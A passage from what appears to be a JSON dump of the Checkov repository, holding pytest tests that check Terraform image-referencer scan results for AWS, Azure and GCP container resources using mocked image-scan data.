len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 3\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert (\n            sca_image_report.image_cached_results[0][\"dockerImageName\"]\n            == \"public.ecr.aws/aws-containers/hello-app-runner:latest\"\n    )\n    assert (\n            \"terraform/image_referencer/resources/aws/apprunner.tf:aws_apprunner_service.example\"\n            in sca_image_report.image_cached_results[0][\"relatedResourceId\"]\n    )\n    assert sca_image_report.image_cached_results[0][\"packages\"] == [\n        {\"type\": \"os\", \"name\": \"tzdata\", \"version\": \"2021a-1+deb11u5\", \"licenses\": []}\n    ]\n\n    assert len(sca_image_report.passed_checks) == 1\n    assert len(sca_image_report.failed_checks) == 4\n    assert len(sca_image_report.image_cached_results) == 1\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_batch_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"batch.tf\"\n    image_name = \"busybox\"\n    code_lines = \"1-38\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 1\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_codebuild_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"codebuild.tf\"\n    image_name = \"public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0\"\n    code_lines = \"36-69\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 3\n    assert len(tf_report.passed_checks) == 8\n    assert len(tf_report.failed_checks) == 2\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_ecs_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"ecs.tf\"\n    image_name_1 = \"nginx\"\n    image_name_2 = \"python:3.9-alpine\"\n    code_lines_1 = \"1-31\"\n    code_lines_2 = \"1-31\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 4\n    assert len(tf_report.failed_checks) == 1\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_lightsail_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"lightsail.tf\"\n    image_name = \"amazon/amazon-lightsail:hello-world\"\n    code_lines = \"8-39\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 2\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_sagemaker_image_version_resources(mocker: MockerFixture, graph_framework):\n    file_name = \"sagemaker_image_version.tf\"\n    base_image = \"012345678912.dkr.ecr.us-west-2.amazonaws.com/image:latest\"\n    code_lines = \"1-4\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({base_image} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_sagemaker_model_resources(mocker: MockerFixture, graph_framework):\n    file_name = \"sagemaker_model.tf\"\n    image_1 = \"012345678912.dkr.ecr.us-west-2.amazonaws.com/image1:latest\"\n    image_2 = \"012345678912.dkr.ecr.us-west-2.amazonaws.com/image2:latest\"\n    code_lines_1 = \"1-8\"\n    code_lines_2 = \"10-17\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 2\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 2\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0"
  },
  {
    "path": "tests/terraform/image_referencer/test_runner_azure_resources.py",
    "content": "from pathlib import Path\nfrom unittest import mock\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.output.report import CheckType\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom tests.common.image_referencer.test_utils import mock_get_empty_license_statuses_async, \\\n    mock_get_image_cached_result_async\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS\n\nRESOURCES_PATH = Path(__file__).parent / \"resources/azure\"\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_batch_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"batch.tf\"\n    image_name = \"centos7\"\n    code_lines = \"1-25\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_containers_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"containers.tf\"\n    image_name_1 = \"busybox\"\n    image_name_2 = \"ubuntu:20.04\"\n    code_lines_1 = \"1-37\"\n    code_lines_2 = \"1-37\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 2\n    assert len(tf_report.failed_checks) == 2\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_app_service_linux_function_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"app_service_linux_function.tf\"\n    image_name_1 = \"azure-app-service/samples/aspnethelloworld:latest\"\n    image_name_2 = \"azure-functions/python:4-python3.10-appservice\"\n    code_lines_1 = \"1-18\"\n    code_lines_2 = \"20-35\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 2\n    assert len(tf_report.passed_checks) == 4\n    assert len(tf_report.failed_checks) == 4\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_app_service_linux_web_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"app_service_linux_web.tf\"\n    image_name_1 = \"mcr.microsoft.com/appsvc/staticsite:latest\"\n    image_name_2 = \"busybox:latest\"\n    code_lines_1 = \"1-20\"\n    code_lines_2 = \"23-40\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 2\n    assert len(tf_report.passed_checks) == 5\n    assert len(tf_report.failed_checks) == 14\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_spring_cloud_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"spring_cloud.tf\"\n    image_name = \"springio/gs-spring-boot-docker\"\n    code_lines = \"1-15\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_app_service_windows_web_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"app_service_windows_web.tf\"\n    image_name_1 = \"hello-world:latest\"\n    image_name_2 = \"busybox:latest\"\n    code_lines_1 = \"1-20\"\n    code_lines_2 = \"22-39\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 2\n    assert len(tf_report.passed_checks) == 5\n    # Changed from 13 to 14 due to PR #5687\n    assert len(tf_report.failed_checks) == 14\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n"
  },
  {
    "path": "tests/terraform/image_referencer/test_runner_gcp_resources.py",
    "content": "\nfrom pathlib import Path\nfrom unittest import mock\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.output.report import CheckType\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom tests.common.image_referencer.test_utils import (\n    mock_get_empty_license_statuses_async,\n    mock_get_license_statuses_async,\n    mock_get_image_cached_result_async,\n)\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS\n\nRESOURCES_PATH = Path(__file__).parent / \"resources/gcp\"\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_cloud_run_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"cloud_run.tf\"\n    image_name = \"gcr.io/cloudrun/hello\"\n    code_lines = \"1-17\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 3\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert sca_image_report.image_cached_results[0][\"dockerImageName\"] == \"gcr.io/cloudrun/hello\"\n    assert (\n            \"terraform/image_referencer/resources/gcp/cloud_run.tf:google_cloud_run_service.example\"\n            in sca_image_report.image_cached_results[0][\"relatedResourceId\"]\n    )\n    assert sca_image_report.image_cached_results[0][\"packages\"] == [\n        {\"type\": \"os\", \"name\": \"tzdata\", \"version\": \"2021a-1+deb11u5\", \"licenses\": []}\n    ]\n\n    assert len(sca_image_report.passed_checks) == 1\n    assert len(sca_image_report.failed_checks) == 4\n    assert len(sca_image_report.image_cached_results) == 1\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_cloud_run_v2_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"cloud_run_v2.tf\"\n    image_name_1 = \"gcr.io/cloudrun/job\"\n    image_name_2 = \"gcr.io/cloudrun/hello\"\n    code_lines_1 = \"1-13\"\n    code_lines_2 = \"15-29\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 2\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_cloudbuild_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"cloudbuild.tf\"\n    image_name_1 = \"gcr.io/cloud-builders/gsutil\"\n    image_name_2 = \"ubuntu\"\n    code_lines_1 = \"1-72\"\n    code_lines_2 = \"1-72\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n"
  },
  {
    "path": "tests/terraform/module_loading/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/module_loading/data/nested_modules/main.tf",
    "content": "module \"example_vm\" {\n  source  = \"terraform-aws-modules/vpc/aws\"\n  version = \"3.14.0\"\n\n  name = \"my-vpc\"\n  cidr = \"10.0.0.0/16\"\n\n  source_image_reference = {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"18.04-LTS\"\n    version   = \"3.15.2\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/module_loading/data/tf_managed_modules/main.tf",
